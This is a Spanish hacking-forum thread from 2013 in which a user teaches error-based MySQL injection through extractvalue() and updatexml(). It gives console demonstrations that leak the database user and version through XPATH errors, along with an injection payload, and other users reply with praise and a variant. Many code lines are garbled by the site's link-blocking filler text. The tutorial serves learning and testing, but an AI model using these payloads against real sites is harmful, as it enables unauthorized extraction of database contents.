comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

MYSQLI EB con extractvalue() and updatexml()

  • 5 Respuestas
  • 2052 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 206
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« en: Julio 26, 2013, 02:17:37 pm »
MYSQLI EB con extractvalue()


Quien conozca de inyecciones sabe bien que para explotar una Mysqli error based  es necesario utitlizar las funciones floor() y rand() .




Pero hay otra manera que se basa en aprovechar otro tipo de error, incluso es mucho mas sencilla de interpretar ademas de ser un vector corto y eficaz.

Leyendo el blog de Dmitry Evteev en una entrada que habia publicado en el 2009 (bastante viejita ya), encontre una forma de explotar un error based de una manera que llamo poderosamente mi atencion.

La funcion extractvalue() sirve para extraer valores de un elemento XML, por ejemplo tenemos la siguiente cadena:

Código: XML
  1. <b>q3rv0</b>

Si quieramos extraer la palabra q3rv0 lo realizariamos de la siguiente manera.

Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login('<b>q3rv0</b>', '/b');
  2. +------------------------------------+
  3. | You are not allowed to view links. Register or Login('<b>q3rv0</b>', '/b') |
  4. +------------------------------------+
  5. | q3rv0                              |
  6. +------------------------------------+
  7. 1 row You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login (0.00 sec)
  8.  
  9. mysql>

La manera de aprovechar esta funcion para que nos devuelva informacion es obligarla a realizar un error de sintaxis.

Que pasa si introducimos la funcion user() en el argumento que es utilizado para extraer ciertos valores.
Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login('<b>q3rv0</b>', You are not allowed to view links. Register or Login());
  2. ERROR 1105 (HY000): XPATH syntax error: '@localhost'

Como vemos nos arroja el error, ademas del usuarios en la db.

El problema es que lo muestra entrecortado, para eso vamos a concatenar la salida.
Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login('<b>q3rv0</b>', You are not allowed to view links. Register or Login(0x7e, You are not allowed to view links. Register or Login()));
  2. ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

Como podemos llevarla acabo mediante una inyeccion?

De la siguiente manera.

You are not allowed to view links. Register or Login union select extractvalue(1, concat(0x7e, version()))--






Mysqli EB con updatexml()

Para este tipo de metodo utilizaremos la funcion llamada updatexml(), los creditos se los lleva Arthusu por la info.

Dicha funcion sirve para actualizar un elemento xml por otro.

Tenemos el siguiente codigo.

Código: XML
  1. <b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>

La sintaxis de updatexml() es la siguiente:

Código: MySQL
  1. You are not allowed to view links. Register or Login('cadena', 'xpath_expr', 'cadena actualizada')

Entonces si quisieramos actualizar la porcion de codigo <h1>underc0de</h1> y cambiarlo por <h1>underc0de Rulz</h1> lo hariamos de la siguiente manera.

Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>');
  2. +--------------------------------------------------------------------------------------------------------------+
  3. | You are not allowed to view links. Register or Login('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>') |
  4. +--------------------------------------------------------------------------------------------------------------+
  5. | <b>jlkjslakjslka</b><h1>Underc0de Rulz</h1><i>kjaslkjalskjlaksj</i>                                          |
  6. +--------------------------------------------------------------------------------------------------------------+
  7. 1 row You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login (0.00 sec)
  8.  
  9. mysql>

Entonces para generar un error en la funcion podemos reemplazar el xpath_expr por nuestra consulta deseada.
Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',You are not allowed to view links. Register or Login(), '<h1>Underc0de Rulz</h1>');
  2. ERROR 1105 (HY000): XPATH syntax error: '@localhost'
  3. mysql>

Concatenamos y obtenemos el resultado completo.

Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',You are not allowed to view links. Register or Login(0x7e, You are not allowed to view links. Register or Login()), '<h1>Underc0de Rulz</h1>');
  2. ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
  3. mysql>





Referencia: You are not allowed to view links. Register or Login
« Última modificación: Noviembre 23, 2014, 02:19:06 pm por Expermicid »
Web: You are not allowed to view links. Register or Login

Twitter: You are not allowed to view links. Register or Login

Desconectado naile

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Julio 26, 2013, 03:03:35 pm »
Muy bueno, no conocía ese método.

Desconectado M5f3r0

  • *
  • Underc0der
  • Mensajes: 44
  • Actividad:
    0%
  • Reputación 0
  • Leer la firma.
    • Ver Perfil
  • Skype: m5f3r0
« Respuesta #2 en: Julio 26, 2013, 04:28:24 pm »
Excelente, yo también desconocía de esto. Sigue así!



;D Saludos.
« Última modificación: Julio 26, 2013, 04:35:33 pm por m5f3r0 »
A veces, observo mi pasado y me arrepiento en la actualidad de todo lo que llegue a perder y olvidar por como me veía la sociedad, nunca dejes que las opiniones de los demás te lleguen a afectar moralmente hasta el punto en que dejes de hacer lo que más te apasiona, saludos! (msj escrito en el 2016)

Desconectado hdbreaker

  • *
  • Underc0der
  • Mensajes: 412
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
    • Ver Perfil
    • Security Signal
    • Email
  • Skype: hdbreaker96
  • Twitter: @SecSignal
« Respuesta #3 en: Julio 26, 2013, 11:52:08 pm »
Muy bueno, te felicito!

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

Desconectado arthusu

  • *
  • Underc0der
  • Mensajes: 536
  • Actividad:
    10%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • Ver Perfil
    • Arthusu BLOG
  • Skype: arthusuxD
« Respuesta #4 en: Julio 27, 2013, 12:25:56 am »
Muy bueno q3rv0 +Karma por cierto no es necesario usar union select puedes usar un and  :P ademas no solo puede usar extractvalue sino tambien updatexml, salu2 bro :-) buen post :P
« Última modificación: Julio 27, 2013, 12:30:06 am por arthusu »

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 206
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« Respuesta #5 en: Julio 27, 2013, 04:59:16 pm »
You are not allowed to view links. Register or Login
Muy bueno q3rv0 +Karma por cierto no es necesario usar union select puedes usar un and  :P ademas no solo puede usar extractvalue sino tambien updatexml, salu2 bro :-) buen post :P

Actualizado!

Gracias bro por la info
Web: You are not allowed to view links. Register or Login

Twitter: You are not allowed to view links. Register or Login

 

¿Te gustó el post? COMPARTILO!



Blind Mysqli Time Based [Teoria]

Iniciado por q3rv0

Respuestas: 3
Vistas: 2016
Último mensaje Diciembre 22, 2012, 02:05:23 am
por Abnormality